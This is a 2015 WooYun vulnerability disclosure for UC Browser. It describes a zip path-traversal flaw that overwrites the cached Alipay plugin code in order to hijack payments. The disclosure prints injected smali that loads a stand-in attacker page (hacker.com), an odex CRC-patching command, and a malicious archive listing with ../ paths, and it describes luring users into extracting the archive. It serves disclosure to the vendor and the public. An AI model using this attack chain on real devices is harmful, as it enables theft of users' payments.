当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124055

漏洞标题：UC浏览器寄生兽漏洞(附支付劫持案例)

相关厂商：UC Mobile

漏洞作者： 路人甲

提交时间：2015-07-02 10:43

修复时间：2015-09-30 14:18

公开时间：2015-09-30 14:18

漏洞类型：远程代码执行

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-02： 细节已通知厂商并且等待厂商处理中
2015-07-02： 厂商已经确认，细节仅向厂商公开
2015-07-05： 细节向第三方安全合作伙伴开放
2015-08-26： 细节向核心白帽子及相关领域专家公开
2015-09-05： 细节向普通白帽子公开
2015-09-15： 细节向实习白帽子公开
2015-09-30： 细节向公众公开

简要描述：

UC浏览器寄生兽漏洞(附支付劫持案例)

详细说明：

1.定位污染插件
支付宝插件

07-01 16:06:46.051  19185-19212/? I/IPoison-com.UCMobile﹕ dexPath = /data/data/com.UCMobile/com/alipay/dex/alipay.jar | optimizedDirectory = /data/data/com.UCMobile/com/alipay/odex | libraryPath = /data/data/com.UCMobile/com/alipay/dex/alipay.jar


APk文件:/data/data/com.UCMobile/com/alipay/dex/alipay.jar
odex 文件:/data/data/com.UCMobile/com/alipay/odex/alipay.dex
so文件:/data/data/com.UCMobile/com/alipay/dex/alipay.jar
淘宝插件

07-01 18:04:41.511  22518-23410/? I/IPoison-com.UCMobile﹕ dexPath = /data/data/com.UCMobile/com/tae/dex/tae.jar | optimizedDirectory = /data/data/com.UCMobile/com/tae/odex | libraryPath = /data/data/com.UCMobile/com/tae/dex/tae.jar


apk 文件:/data/data/com.UCMobile/com/tae/dex/tae.jar
odex 文件:/data/data/com.UCMobile/com/tae/odex/tae.dex
so 文件:/data/data/com.UCMobile/com/tae/dex/tae.jar
2.确认目录遍历漏洞,即用于 UC 浏览器的写权限
制作包含../的压缩包,解压缩时达到预期效果
3.支付过程

IHook-com.UCMobile  I  startActivity Component:com.UCMobile/com.alipay.sdk.app.H5PayActivity
                        I  startActivity EXTRA:
                        I  startActivity EXTRA 1:
                        I  startActivity Class: java.lang.String
                        I  startActivity Key: url
                        I  startActivity Value: https://mclient.alipay.com/cashierRoutePay.htm


4.插入 smali 代码后使用DexClassLoader 构造方法优化生成 odex 文件

.line 105
    iget-object v0, p0, Lcom/alipay/sdk/app/H5PayActivity;->e:Landroid/webkit/WebView;
    new-instance v2, Lcom/alipay/sdk/app/H5PayActivity$MyWebChromeClient;
    invoke-direct {v2, p0, v6}, Lcom/alipay/sdk/app/H5PayActivity$MyWebChromeClient;-><init>(Lcom/alipay/sdk/app/H5PayActivity;Lcom/alipay/sdk/app/H5PayActivity$1;)V
    invoke-virtual {v0, v2}, Landroid/webkit/WebView;->setWebChromeClient(Landroid/webkit/WebChromeClient;)V
	
	const-string v1, "http://hacker.com/ali.html"
    .line 109
    iget-object v0, p0, Lcom/alipay/sdk/app/H5PayActivity;->e:Landroid/webkit/WebView;
    invoke-virtual {v0, v1}, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V


5.patch crc和 modwhen

» python patch_odex.py patch ApkIDE_alipay.dex orign/alipay.jar patch.dex
	Original modTime: 0x46e19916
	Original CRC: 0x728fcb25
	Apk ModTime: 0x4688a1b6
	APK classes CRC: 0x15517b04


6.制作 POC 压缩包,释放后即可转化为执行权限.

» tar vft  seed.zip 
	-rwxrwxrwx  0 0      0      224344  7  1 19:11 ../../../../../../../../../../data/data/com.UCMobile/com/alipay/odex/alipay.dex
	-rwxrwxrwx  0 0      0       93212  7  1 19:26 我是谁_没有绝对安全的系统.4.37GB.torrent


7.诱导用户下载解压..

漏洞证明：

之后任意使用支付插件的支付行为都会触发劫持,效果如图

poc.png


附带其他可能有问题的插件

plug.png

修复方案：

1.encode ../
2.check plugs load

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2015-07-02 14:16

厂商回复：

您好，我们之前已经收到了国家安全应急响应中心的通知，属于已知漏洞。漏洞正在修复中。感谢您对阿里巴巴安全的关注和支持。

最新状态：

暂无